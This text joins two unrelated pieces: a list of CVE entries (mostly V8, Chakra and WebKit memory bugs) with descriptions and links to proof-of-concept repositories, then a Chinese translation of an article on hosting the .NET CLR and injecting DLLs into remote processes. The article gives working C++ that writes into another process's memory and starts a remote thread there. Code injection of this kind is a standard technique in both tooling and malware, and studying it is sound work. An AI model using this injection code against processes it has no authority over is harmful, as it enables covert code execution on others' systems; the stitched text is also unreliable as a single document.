* [CVE-2017-2464](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-2464)
* [CVE-2017-2636](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-2636)
* [CVE-2017-5638](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-5638)
* [CVE-2017-7280](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-7280)
## Resource
### [CVE-2013-6632](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2013-6632.md)
* Integer overflow in Google Chrome before 31.0.1650.57 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, as demonstrated during a Mobile Pwn2Own competition at PacSec 2013.
### [CVE-2014-1705](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-1705.md)
* Google V8, as used in Google Chrome before 33.0.1750.152 on OS X and Linux and before 33.0.1750.154 on Windows, allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via unknown vectors.
### [CVE-2014-3176](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-3176.md)
* Google Chrome before 37.0.2062.94 does not properly handle the interaction of extensions, IPC, the sync API, and Google V8, which allows remote attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2014-3177.
### [CVE-2014-7927](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-7927.md)
* The SimplifiedLowering::DoLoadBuffer function in compiler/simplified-lowering.cc in Google V8, as used in Google Chrome before 40.0.2214.91, does not properly choose an integer data type, which allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted JavaScript code.
### [CVE-2014-7928](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2014-7928.md)
* hydrogen.cc in Google V8, as used Google Chrome before 40.0.2214.91, does not properly handle arrays with holes, which allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted JavaScript code that triggers an array copy.
### [CVE-2015-0235](https://github.com/geekben/cve-collections/blob/master/cve20150235poc.c)
* Heap-based buffer overflow in the __nss_hostname_digits_dots function in glibc 2.2, and other 2.x versions before 2.18, allows context-dependent attackers to execute arbitrary code via vectors related to the (1) gethostbyname or (2) gethostbyname2 function, aka "GHOST".
### [CVE-2015-1233](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-1233.md)
* Google Chrome before 41.0.2272.118 does not properly handle the interaction of IPC, the Gamepad API, and Google V8, which allows remote attackers to execute arbitrary code via unspecified vectors.
### [CVE-2015-1242](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-1242.md)
* The ReduceTransitionElementsKind function in hydrogen-check-elimination.cc in Google V8 before 4.2.77.8, as used in Google Chrome before 42.0.2311.90, allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted JavaScript code that leverages "type confusion" in the check-elimination optimization.
### [CVE-2015-3306](https://www.exploit-db.com/exploits/36803/)
* The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
### [CVE-2015-6764](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-6764.md)
* The BasicJsonStringifier::SerializeJSArray function in json-stringifier.h in the JSON stringifier in Google V8, as used in Google Chrome before 47.0.2526.73, improperly loads array elements, which allows remote attackers to cause a denial of service (out-of-bounds memory access) or possibly have unspecified other impact via crafted JavaScript code.
### [CVE-2015-6771](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-6771.md)
* js/array.js in Google V8, as used in Google Chrome before 47.0.2526.73, improperly implements certain map and filter operations for arrays, which allows remote attackers to cause a denial of service (out-of-bounds memory access) or possibly have unspecified other impact via crafted JavaScript code.
### [CVE-2015-7545](https://hackmd.io/s/SkKL68GIe#%F0%9F%8D%8A-web-300-git)
* The (1) git-remote-ext and (2) unspecified other remote helper programs in Git before 2.3.10, 2.4.x before 2.4.10, 2.5.x before 2.5.4, and 2.6.x before 2.6.1 do not properly restrict the allowed protocols, which might allow remote attackers to execute arbitrary code via a URL in a (a) .gitmodules file or (b) unknown other sources in a submodule.
### [CVE-2015-8584](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2015-8548.md)
* JSON, OOB.
### [CVE-2016-0728](https://github.com/geekben/cve-collections/blob/master/cve20160728poc.c)
* The join_session_keyring function in security/keys/process_keys.c in the Linux kernel before 4.4.1 mishandles object references in a certain error case, which allows local users to gain privileges or cause a denial of service (integer overflow and use-after-free) via crafted keyctl commands.
### [CVE-2016-1646](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1646.md)
* The Array.prototype.concat implementation in builtins.cc in Google V8, as used in Google Chrome before 49.0.2623.108, does not properly consider element data types, which allows remote attackers to cause a denial of service (out-of-bounds read) or possibly have unspecified other impact via crafted JavaScript code.
### [CVE-2016-1653](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1653.md)
* The LoadBuffer implementation in Google V8, as used in Google Chrome before 50.0.2661.75, mishandles data types, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted JavaScript code that triggers an out-of-bounds write operation, related to compiler/pipeline.cc and compiler/simplified-lowering.cc.
### [CVE-2016-1665](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1665.md)
* The JSGenericLowering class in compiler/js-generic-lowering.cc in Google V8, as used in Google Chrome before 50.0.2661.94, mishandles comparison operators, which allows remote attackers to obtain sensitive information via crafted JavaScript code.
### [CVE-2016-1669](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1669.md)
* The Zone::New function in zone.cc in Google V8 before 5.0.71.47, as used in Google Chrome before 50.0.2661.102, does not properly determine when to expand certain memory allocations, which allows remote attackers to cause a denial of service (buffer overflow) or possibly have unspecified other impact via crafted JavaScript code.
### [CVE-2016-1677](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1677.md)
* uri.js in Google V8 before 5.1.281.26, as used in Google Chrome before 51.0.2704.63, uses an incorrect array type, which allows remote attackers to obtain sensitive information by calling the decodeURI function and leveraging "type confusion".
### [CVE-2016-1688](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-1688.md)
* The regexp (aka regular expression) implementation in Google V8 before 5.0.71.40, as used in Google Chrome before 51.0.2704.63, mishandles external string sizes, which allows remote attackers to cause a denial of service (out-of-bounds read) via crafted JavaScript code.
### [CVE-2016-1857](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2016-1857.md)
* WebKit, as used in Apple iOS before 9.3.2, Safari before 9.1.1, and tvOS before 9.2.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, a different vulnerability than CVE-2016-1854, CVE-2016-1855, and CVE-2016-1856.
### [CVE-2016-4622](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2016-4622.md)
* WebKit in Apple iOS before 9.3.3, Safari before 9.1.2, and tvOS before 9.2.2 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, a different vulnerability than CVE-2016-4589, CVE-2016-4623, and CVE-2016-4624.
### [CVE-2016-4734](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2016-4734.md)
* WebKit in Apple iOS before 10, Safari before 10, and tvOS before 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, a different vulnerability than CVE-2016-4611, CVE-2016-4730, CVE-2016-4733, and CVE-2016-4735.
### [CVE-2016-3386](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-3386.md)
* The Chakra JavaScript engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-3389, CVE-2016-7190, and CVE-2016-7194.
### [CVE-2016-5129](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5129.md)
* Google V8 before 5.2.361.32, as used in Google Chrome before 52.0.2743.82, does not properly process left-trimmed objects, which allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted JavaScript code.
### [CVE-2016-5172](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5172.md)
* The parser in Google V8, as used in Google Chrome before 53.0.2785.113, mishandles scopes, which allows remote attackers to obtain sensitive information from arbitrary memory locations via crafted JavaScript code.
### [CVE-2016-5198](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5198.md)
* V8 in Google Chrome prior to 54.0.2840.90 for Linux, and 54.0.2840.85 for Android, and 54.0.2840.87 for Windows and Mac included incorrect optimisation assumptions, which allowed a remote attacker to perform arbitrary read/write operations, leading to code execution, via a crafted HTML page.
### [CVE-2016-5200](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5200.md)
* V8 in Google Chrome prior to 54.0.2840.98 for Mac, and 54.0.2840.99 for Windows, and 54.0.2840.100 for Linux, and 55.0.2883.84 for Android incorrectly applied type rules, which allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
### [CVE-2016-7189](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7189.md)
* The Chakra JavaScript engine in Microsoft Edge allows remote attackers to execute arbitrary code via a crafted web site, aka "Scripting Engine Remote Code Execution Vulnerability".
### [CVE-2016-7190](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7190.md)
* The Chakra JavaScript engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-3386, CVE-2016-3389, and CVE-2016-7194.
### [CVE-2016-7194](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7194.md)
* The Chakra JavaScript engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-3386, CVE-2016-3389, and CVE-2016-7190.
### [CVE-2016-7200](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7200.md)
* The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7201, CVE-2016-7202, CVE-2016-7203, CVE-2016-7208, CVE-2016-7240, CVE-2016-7242, and CVE-2016-7243.
### [CVE-2016-7201](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7201.md)
* The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7202, CVE-2016-7203, CVE-2016-7208, CVE-2016-7240, CVE-2016-7242, and CVE-2016-7243.
### [CVE-2016-7202](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7202.md)
* The scripting engines in Microsoft Internet Explorer 9 through 11 and Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," as demonstrated by the Chakra JavaScript engine, a different vulnerability than CVE-2016-7200, CVE-2016-7201, CVE-2016-7203, CVE-2016-7208, CVE-2016-7240, CVE-2016-7242, and CVE-2016-7243.
### [CVE-2016-7203](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7203.md)
* The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201, CVE-2016-7202, CVE-2016-7208, CVE-2016-7240, CVE-2016-7242, and CVE-2016-7243.
### [CVE-2016-7240](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7240.md)
* The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201, CVE-2016-7202, CVE-2016-7203, CVE-2016-7208, CVE-2016-7242, and CVE-2016-7243.
### [CVE-2016-7241](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7241.md)
* Microsoft Internet Explorer 11 and Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Microsoft Browser Memory Corruption Vulnerability".
### [CVE-2016-7286](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7286.md)
* The scripting engines in Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7288, CVE-2016-7296, and CVE-2016-7297.
### [CVE-2016-7287](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7287.md)
* The scripting engines in Microsoft Internet Explorer 11 and Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability".
### [CVE-2016-7288](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2016-7288.md)
* The scripting engines in Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7286, CVE-2016-7296, and CVE-2016-7297.
###
[CVE-2016-8413](https://github.com/derrekr/android_security/blob/master/CVE-2016-8413/msm_infoleak_main.c)
* An information disclosure vulnerability in the Qualcomm camera driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-32709702. References: QC-CR#518731.
###
[CVE-2016-8477](https://github.com/derrekr/android_security/blob/master/CVE-2016-8477/msm_eeprom_name_infoleak_main.c)
* An information disclosure vulnerability in the Qualcomm camera driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-32720522. References: QC-CR#1090007.
### [CVE-2016-9651](https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-9651.md)
* **RESERVED** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.
### [CVE-2017-0070](https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2017-0070.md)
* A remote code execution vulnerability exists in the way affected Microsoft scripting engines render when handling objects in memory in Microsoft browsers. These vulnerabilities could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This vulnerability is different from those described in CVE-2017-0010, CVE-2017-0015, CVE-2017-0032, CVE-2017-0035, CVE-2017-0067, CVE-2017-0071, CVE-2017-0094, CVE-2017-0131, CVE-2017-0132, CVE-2017-0133, CVE-2017-0134, CVE-2017-0136, CVE-2017-0137, CVE-2017-0138, CVE-2017-0141, CVE-2017-0150, and CVE-2017-0151.
### [CVE-2017-0071](https://github.com/tunz/js-vuln-db/blob/master/chakra/CVE-2017-0071.md)
* A remote code execution vulnerability exists in the way affected Microsoft scripting engines render when handling objects in memory in Microsoft browsers. These vulnerabilities could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This vulnerability is different from those described in CVE-2017-0010, CVE-2017-0015, CVE-2017-0032, CVE-2017-0035, CVE-2017-0067, CVE-2017-0070, CVE-2017-0094, CVE-2017-0131, CVE-2017-0132, CVE-2017-0133, CVE-2017-0134, CVE-2017-0136, CVE-2017-0137, CVE-2017-0138, CVE-2017-0141, CVE-2017-0150, and CVE-2017-0151.
### [CVE-2017-0199](https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2017-0199.md)
* Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1 allow remote attackers to execute arbitrary code via a crafted document, aka "Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API."
###
[CVE-2017-0392](https://github.com/derrekr/android_security/blob/master/CVE-2017-0392)
* A denial of service vulnerability in VBRISeeker.cpp in libstagefright in Mediaserver could enable a remote attacker to use a specially crafted file to cause a device hang or reboot. This issue is rated as High due to the possibility of remote denial of service. Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1. Android ID: A-32577290.
###
[CVE-2017-0521](https://github.com/derrekr/android_security/tree/master/CVE-2017-0521)
* An elevation of privilege vulnerability in the Qualcomm camera driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-32919951. References: QC-CR#1097709.
###
[CVE-2017-0531](https://github.com/derrekr/android_security/blob/master/CVE-2017-0531/msm_lsm_client_lab_main.c)
* An information disclosure vulnerability in the Qualcomm Wi-Fi driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-32877245. References: QC-CR#1087469.
###
[CVE-2017-0576](https://github.com/derrekr/android_security/blob/master/CVE-2017-0576/qcom_qcedev_byteoffset_overflow.c)
* An elevation of privilege vulnerability in the Qualcomm crypto engine driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-33544431. References: QC-CR#1103089.
### [CVE-2017-2416](https://blog.flanker017.me/cve-2017-2416-gif-remote-exec/)
* An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the "ImageIO" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted image file.
### [CVE-2017-2446](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2017-2446.md)
* An issue was discovered in certain Apple products. iOS before 10.3 is affected. Safari before 10.1 is affected. tvOS before 10.2 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code via a crafted web site that leverages the mishandling of strict mode functions.
### [CVE-2017-2447](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2017-2447.md)
* An issue was discovered in certain Apple products. iOS before 10.3 is affected. Safari before 10.1 is affected. tvOS before 10.2 is affected. The issue involves the "WebKit" component. It allows remote attackers to obtain sensitive information or cause a denial of service (memory corruption) via a crafted web site.
### [CVE-2017-2464](https://github.com/tunz/js-vuln-db/blob/master/jsc/CVE-2017-2464.md)
* An issue was discovered in certain Apple products. iOS before 10.3 is affected. Safari before 10.1 is affected. tvOS before 10.2 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site.
### [CVE-2017-2636](https://a13xp0p0v.github.io/2017/03/24/CVE-2017-2636.html)
* Race condition in drivers/tty/n_hdlc.c in the Linux kernel through 4.10.1 allows local users to gain privileges or cause a denial of service (double free) by setting the HDLC line discipline.
### [CVE-2017-5638](https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2017-5638.md)
* The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
### [CVE-2017-7280](https://rhinosecuritylabs.com/research/remote-code-execution-bug-hunting-chapter-1/)
* An issue was discovered in api/includes/systems.php in Unitrends Enterprise Backup before 9.0.0. User input is not properly filtered before being sent to a popen function. This allows for remote code execution by sending a specially crafted user variable. | 社区文章 |
> 翻译:CoolCat
> 原文地址：<https://www.codeproject.com/Articles/607352/Injecting-Net-Assemblies-> Into-Unmanaged-Processes>
**本文将详细分析如何注入运行中的.NET 程序，以及如何将任意.NET程序注入到非托管和托管的进程中；并在这些进程中执行托管代码。**
[源代码下载](https://www.codeproject.com/KB/cpp/607352/FrameworkInjection.zip)
# 0x1 简介
.NET
是一种易上手且可靠的编程语言。然而它并不适合用于每个场景。本文将重点介绍了其中一种特殊的情况，即DLL注入。.NET的无法在其运行时在从未加载的远程进程中进行注入。此外，如果.NET运行时要注入的其他进程中，该如何调用.NET
DLL中的方法呢？架构需要考虑么? 64位进程是否不同于32位进程的?本文将展示如何使用文档化的api执行所有这些任务。
### 目标
* 不考虑架构在任意进程中启动.NET CLR（公共语言运行时）。
* 在任意进程中加载自定义.NET程序。
* 在任意进程中执行托管代码。
# 0x2 过程
篇幅问题、文章将分为五小段做精简介绍：
1. 加载CLR（初级）-介绍如何在非托管进程内部启动.NET Framework。
2. 加载 CLR（高级）-如何加载自定义.NET 程序集，并从非托管代码中调用受管理的方法。
3. DLL注入（基础）-介绍如何在远程过程中执行非托管代码。
4. DLL 注入（高级）-介绍如何在远程进程中执行任意导出的功能。
5. 综合利用。
**1\. 加载 CLR（初级）**
目标:写一个可以同时加载运行中的.NET程序和其他任意程序集的非托管程序的程序
示例中将演示如何利用C++程序将运行中.NET加载到自身中：
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")
#import "mscorlib.tlb" raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
rename("ReportEvent", "InteropServices_ReportEvent")
int wmain(int argc, wchar_t* argv[])
{
char c;
wprintf(L"Press enter to load the .net runtime...");
while (getchar() != '\n');
HRESULT hr;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
ICLRRuntimeHost *pClrRuntimeHost = NULL;
// build runtime
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost,
IID_PPV_ARGS(&pClrRuntimeHost));
// start runtime
hr = pClrRuntimeHost->Start();
wprintf(L".Net runtime is loaded. Press any key to exit...");
while (getchar() != '\n');
return 0;
}
上述代码需要关注：
* `CLRCreateInstance`
指定`CLSID_CLRMetaHost`,获取指向一个实例的指针`ICLRMetaHost`
* `ICLRMetaHost::GetRuntime`
获取类型的指针`ICLRRunTimeInfo`指向特定.NET 运行时
* `ICLRRunTimeInfo::GetInterface`
将 CLR 加载到当前进程中，然后获取一个`ICLRRuntimeHost`指针
* `ICLRRuntimeHost::Start`
显式启动 CLR，在首次加载托管代码时隐式调用 CLR
PS:需要注意，`ICLRMetaHost::GetRuntime`以下版本中中有效
V1.0.3705
V1.1.4322
V2.0.50727
V4.0.30319
在最新的版本中运行会出现null
在所需系统上安装运行时 版本号可以在下列两个目录其中之一找到
%WinDir%\Microsoft.NET\Framework
%WinDir%\Microsoft.NET\Framework64
上述代码编译后在Process Hacker控制台中运行可以看到的:
回车后，可以通过 Process Hacker看到.NET运行时已加载。请注意 “properties” （属性）窗口中 “.NET Performance
”（.NET偏好）选项
示例代码未打包。建议读者自行动手编译并运行。
**2\. 加载 CLR（高级）**
完成初级的加载 CLR后，下一步是将任意的.NET程序集加载到其他进程中，并调用.NET中的方法。
继续修改上面的示例，把CLR加载到进程中。可以通过获得一个指向CLR接口的指针来实现;该指针存储在变量`pClrRuntimeHost`中。使其调用`ICLRRuntimeHost::Start`将CLR加载到进程中。
此时CLR已经初始化，`pClrRuntimeHost`可以调用`ICLRRuntimeHost::ExecuteInDefaultAppDomain`来加载和调用任意.NRY程序中的方法。该函数具有以下签名:
HRESULT ExecuteInDefaultAppDomain (
[in] LPCWSTR pwzAssemblyPath,
[in] LPCWSTR pwzTypeName,
[in] LPCWSTR pwzMethodName,
[in] LPCWSTR pwzArgument,
[out] DWORD *pReturnValue
);
参数说明:
* `pwzAssemblyPath`：
.NET程序的完整路径;这里可以是exe或dll文件
* `pwzTypeName` ： 要调用的方法的完整类名
* `pwzMethodName`： 要调用的方法的名称
* `pwzArgument`： 可选的参数传递到方法中
* `pReturnValue`： 方法的返回值
并不是.NET程序中的每个方法都可以通过`ICLRRuntimeHost::ExecuteInDefaultAppDomain`来调用。可用的方法必须具有以下签名:
static int pwzMethodName (String pwzArgument);
补充说明：访问修饰符(如`public`、`protected`、`private`和`internal`)不会影响方法的可见性;因此，被排除在签名之外。
下面的.NET程序将被用于接下来的所有示例，用于注入到托管进程.NET程序:
using System;
using System.Windows.Forms;
namespace InjectExample
{
public class Program
{
static int EntryPoint(String pwzArgument)
{
System.Media.SystemSounds.Beep.Play();
MessageBox.Show(
"I am a managed app.\n\n" +
"I am running inside: [" +
System.Diagnostics.Process.GetCurrentProcess().ProcessName +
"]\n\n" + (String.IsNullOrEmpty(pwzArgument) ?
"I was not given an argument" :
"I was given this argument: [" + pwzArgument + "]"));
return 0;
}
static void Main(string[] args)
{
EntryPoint("hello world");
}
}
}
上面的示例代码的编法可以选择调用`ICLRRuntimeHost::ExecuteInDefaultAppDomain`，也可以独立运行;两种方法运行的结果都差不多。最终目标是当注入到非托管远程进程中时，上面的示例代码在该进程的上下文中执行，并显示显示远程进程名称的消息框。
在初级部分示例代码的基础上，下面的c++程序将加载上面的.NET程序并执行EntryPoint方法:
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")
#import "mscorlib.tlb" raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
rename("ReportEvent", "InteropServices_ReportEvent")
int wmain(int argc, wchar_t* argv[])
{
HRESULT hr;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
ICLRRuntimeHost *pClrRuntimeHost = NULL;
// build runtime
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost,
IID_PPV_ARGS(&pClrRuntimeHost));
// start runtime
hr = pClrRuntimeHost->Start();
// execute managed assembly
DWORD pReturnValue;
hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
L"T:\\FrameworkInjection\\_build\\debug\\anycpu\\InjectExample.exe",
L"InjectExample.Program",
L"EntryPoint",
L"hello .net runtime",
&pReturnValue);
// free resources
pMetaHost->Release();
pRuntimeInfo->Release();
pClrRuntimeHost->Release();
return 0;
}
运行结果如图所示:
到目前为止，这部分的两个目标都已实现。现在我们将继续尝试如何从非托管代码中加载CLR并执行任意方法。但是如何在任意过程中实现呢?
**3\. DLL注入（初级）**
DLL注入是一种在远程进程中加载DLL来执行远程进程内部代码的技术。很多DLL注入策略集中于DllMain内部的代码执行。缺陷是从DllMain中启动CLR会导致Windows加载器锁死。写一个在DllMain中启动CLR的DLL就可以验证。参考以下MSDN文章:
* [loaderLock MDA](http://msdn.microsoft.com/en-us/library/ms172219\(v=VS.100).aspx)
* [Initialization of Mixed Assemblies](http://msdn.microsoft.com/en-us/library/ms173266.aspx)
* [Preventing Hangs in Windows Applications](http://msdn.microsoft.com/en-us/library/windows/desktop/dd744765\(v=vs.85).aspx)
难以避免的是当Windows加载程序初始化另一个模块时，CLR无法启动。每个锁都是特定于进程的，由Windows托管且一个锁已经被获取时，任何试图在加载器上获取多个锁的模块都会锁死。
上述关于问题似乎很麻烦;那么我们将问题分解开来，比如从将一个最起码的DLL注入到远程进程中作为开始。示例代码:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
上面的代码实现了一个简单的DLL。要想把这个DLL注入到远程进程中，需要以下Windows api:
* `OpenProcess`：获取进程的句柄
* `GetModuleHandle`：获取给定模块的句柄
* `LoadLibrary`：在调用进程的地址空间中加载库
* `GetProcAddress`：从库中获取导出函数的虚拟地址
* `VirtualAllocEx`：在给定进程中分配空间
* `WriteProcessMemory`：在给定地址将字节写入进程
* `CreateRemoteThread`：在远程进程中派生一个线程
DWORD_PTR Inject(const HANDLE hProcess, const LPVOID function,
const wstring& argument)
{
// allocate some memory in remote process
LPVOID baseAddress = VirtualAllocEx(hProcess, NULL, GetStringAllocSize(argument),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// write argument into remote process
BOOL isSucceeded = WriteProcessMemory(hProcess, baseAddress, argument.c_str(),
GetStringAllocSize(argument), NULL);
// make the remote process invoke the function
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)function, baseAddress, NULL, 0);
// wait for thread to exit
WaitForSingleObject(hThread, INFINITE);
// free memory in remote process
VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE);
// get the thread exit code
DWORD exitCode = 0;
GetExitCodeThread(hThread, &exitCode);
// close thread handle
CloseHandle(hThread);
// return the exit code
return exitCode;
}
本节的目的是在远程进程中加载库。下一个问题是如何利用上述函数在远程进程中注入DLL
